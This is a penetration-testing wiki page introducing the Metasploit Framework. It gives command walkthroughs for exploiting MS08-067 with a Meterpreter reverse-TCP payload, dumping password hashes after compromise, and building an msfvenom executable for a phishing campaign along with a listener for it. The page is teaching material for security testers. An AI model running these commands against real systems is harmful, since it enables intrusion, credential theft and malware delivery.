> For the complete documentation index, see [llms.txt](https://moharat.gitbook.io/cylabs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://moharat.gitbook.io/cylabs/cyber-security-assessment/exploitation/tools/metsploit.md).

# Metsploit

#### Metasploit Framework

**Metasploit** is an open-source penetration testing framework developed by Rapid7. It is widely used for developing and executing exploit code against a remote target machine. The framework provides tools to perform various tasks in penetration testing, such as information gathering, vulnerability scanning, exploitation, and post-exploitation.

#### Key Components of Metasploit

1. **Modules**:
   * **Exploit Modules**: Contains the code to exploit specific vulnerabilities.
   * **Payload Modules**: Includes code that runs on the target machine after exploitation (e.g., reverse shells).
   * **Auxiliary Modules**: Used for scanning, fuzzing, and other non-exploit functionality.
   * **Post Modules**: Used for post-exploitation activities on a compromised system.
   * **Encoders**: Used to encode payloads to avoid detection.
   * **NOPs**: No-operation instructions used to pad out payloads.
2. **Meterpreter**: An advanced, extensible payload that provides an interactive shell for executing commands on the target machine.
3. **Database**: Metasploit integrates with PostgreSQL to store scan results, exploitation attempts, and other data.
4. **Armitage**: A graphical user interface (GUI) for Metasploit, providing visual aids for managing sessions and exploits.

#### Common Use Cases for Metasploit

1. **Vulnerability Scanning and Exploitation**
2. **Information Gathering**
3. **Post-Exploitation**
4. **Social Engineering**
5. **Web Application Testing**
6. **Wireless Attacks**
7. **Password Attacks**
8. **Evasion Techniques**

#### Use Cases with Metasploit

**1. Vulnerability Scanning and Exploitation**

**Example**: Exploiting a known vulnerability in a Windows machine using the `ms08_067_netapi` exploit.

**Steps**:

1. **Launch Metasploit:**

   ```sh
   msfconsole
   ```
2. **Search for the exploit:**

   ```sh
   search ms08_067
   ```
3. **Select the exploit:**

   ```sh
   use exploit/windows/smb/ms08_067_netapi
   ```
4. **Set the target:**

   ```sh
   set RHOST <target_ip>
   ```
5. **Set the payload:**

   ```sh
   set payload windows/meterpreter/reverse_tcp
   set LHOST <your_ip>
   set LPORT 4444
   ```
6. **Run the exploit:**

   ```sh
   exploit
   ```

**2. Information Gathering**

**Example**: Scanning a network for open ports and services.

**Steps**:

1. **Launch Metasploit:**

   ```sh
   msfconsole
   ```
2. **Use auxiliary scanner:**

   ```sh
   use auxiliary/scanner/portscan/tcp
   ```
3. **Set the target range:**

   ```sh
   set RHOSTS 192.168.1.0/24
   ```
4. **Run the scan:**

   ```sh
   run
   ```

**3. Post-Exploitation**

**Example**: Collecting password hashes from a compromised machine.

**Steps**:

1. **Exploit the target and get a Meterpreter session:**

   ```sh
   exploit
   ```
2. **Dump password hashes:**

   ```sh
   meterpreter > hashdump
   ```

**4. Social Engineering**

**Example**: Creating a malicious payload for a phishing campaign.

**Steps**:

1. **Generate the payload:**

   ```sh
   msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > payload.exe
   ```
2. **Set up a listener:**

   ```sh
   use exploit/multi/handler
   set payload windows/meterpreter/reverse_tcp
   set LHOST <your_ip>
   set LPORT 4444
   exploit
   ```

#### Detailed Metasploit Options

**msfconsole**

**Basic Commands:**

* `search <term>`: Search for exploits, payloads, and other modules.
* `use <module_path>`: Load a specific module.
* `show options`: Display options for the current module.
* `set <option> <value>`: Set a specific option value.
* `exploit`: Run the selected exploit module.
* `run`: Run the selected auxiliary module.
* `sessions -i <id>`: Interact with a specific session.

**msfvenom**

**Usage:**

* `-p <payload>`: Specify the payload to use.
* `LHOST=<your_ip>`: Set the local host IP.
* `LPORT=<your_port>`: Set the local port.
* `-f <format>`: Specify the output format (e.g., exe, elf, raw).
* `-o <output_file>`: Specify the output file name.

**Example:**

```sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
```

#### References

1. **Metasploit Documentation**: [Metasploit Docs](https://docs.rapid7.com/metasploit/)
2. **Metasploit Unleashed (Offensive Security)**: [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
3. **Metasploit GitHub Repository**: [Metasploit GitHub](https://github.com/rapid7/metasploit-framework)
4. **Exploit Database**: [Exploit DB](https://www.exploit-db.com/)

By leveraging Metasploit's powerful capabilities, penetration testers can identify and exploit vulnerabilities, gather crucial information, and perform detailed post-exploitation tasks to assess and improve the security posture of an organization.